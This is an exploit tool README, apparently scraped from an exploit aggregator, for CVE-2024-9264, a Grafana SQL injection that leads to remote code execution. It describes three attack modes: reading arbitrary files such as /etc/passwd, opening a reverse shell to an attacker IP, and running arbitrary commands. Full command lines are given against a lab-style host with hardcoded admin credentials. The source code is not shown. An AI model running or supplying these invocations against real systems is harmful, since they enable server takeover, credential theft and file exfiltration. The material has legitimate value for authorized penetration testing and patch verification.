Share
## https://sploitus.com/exploit?id=101A52F4-19F6-5B12-B372-18D22A512984
# ๐Ÿšจ CVE-2024-9264 - Grafana SQL injection leading to Remote Code Execution (RCE) and file Read

Exploit tool for [CVE-2024-9264](https://grafana.com/blog/2024/10/17/grafana-security-release-critical-severity-fix-for-cve-2024-9264/), a **critical vulnerability in Grafana** allow authenticated attcker to execute sql query leading to RCE

> ๐Ÿ›ก๏ธ This tool is strictly for **educational purposes** and **authorized penetration testing**.  
> Unauthorized use is illegal and unethical.

---

## ๐Ÿง  Vulnerability Overview

### ๐Ÿ•ณ๏ธ What is CVE-2024-9264?

**CVE-2024-9264** is a critical flaw in Grafana allows authenticated attacker to execute sql commands leading to RCE and file read

### ๐Ÿงฌ Root Cause

- Insufficient sanitization.

### ๐Ÿ’ฅ Impact

- **RCE**: Execute arbitrary commands, get reverse shells, or read sensitive files.
- **High Severity**: Complete server takeover possible if successful.

---

## โš’๏ธ Features

- Supports multiple attack modes:
  - `file` โ€“ Read arbitrary files (e.g., `/etc/passwd`)
  - `shell` โ€“ Reverse shell to attacker machine
  - `command` โ€“ Run arbitrary shell commands (e.g., `whoami`)
- Customizable attacker IP, port, and credentials

---

## ๐Ÿš€ Usage

![help menu](https://github.com/Cythonic1/CVE-2024-9264/blob/main/img/cmd.png)

Not all of the arguments are nessary.

## examples 

### Getting shell

``` go run main.go  -ip 10.10.16.91 -port 8080 -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type shell ```

### Read files 

``` go run main.go  -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type file -filename /etc/passwd```

### Execuet single command

``` go run main.go  -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type command -cmd 'ls -al' ```

### ๐Ÿ”ง Command-Line Flags

``` go run main.go [flags] ```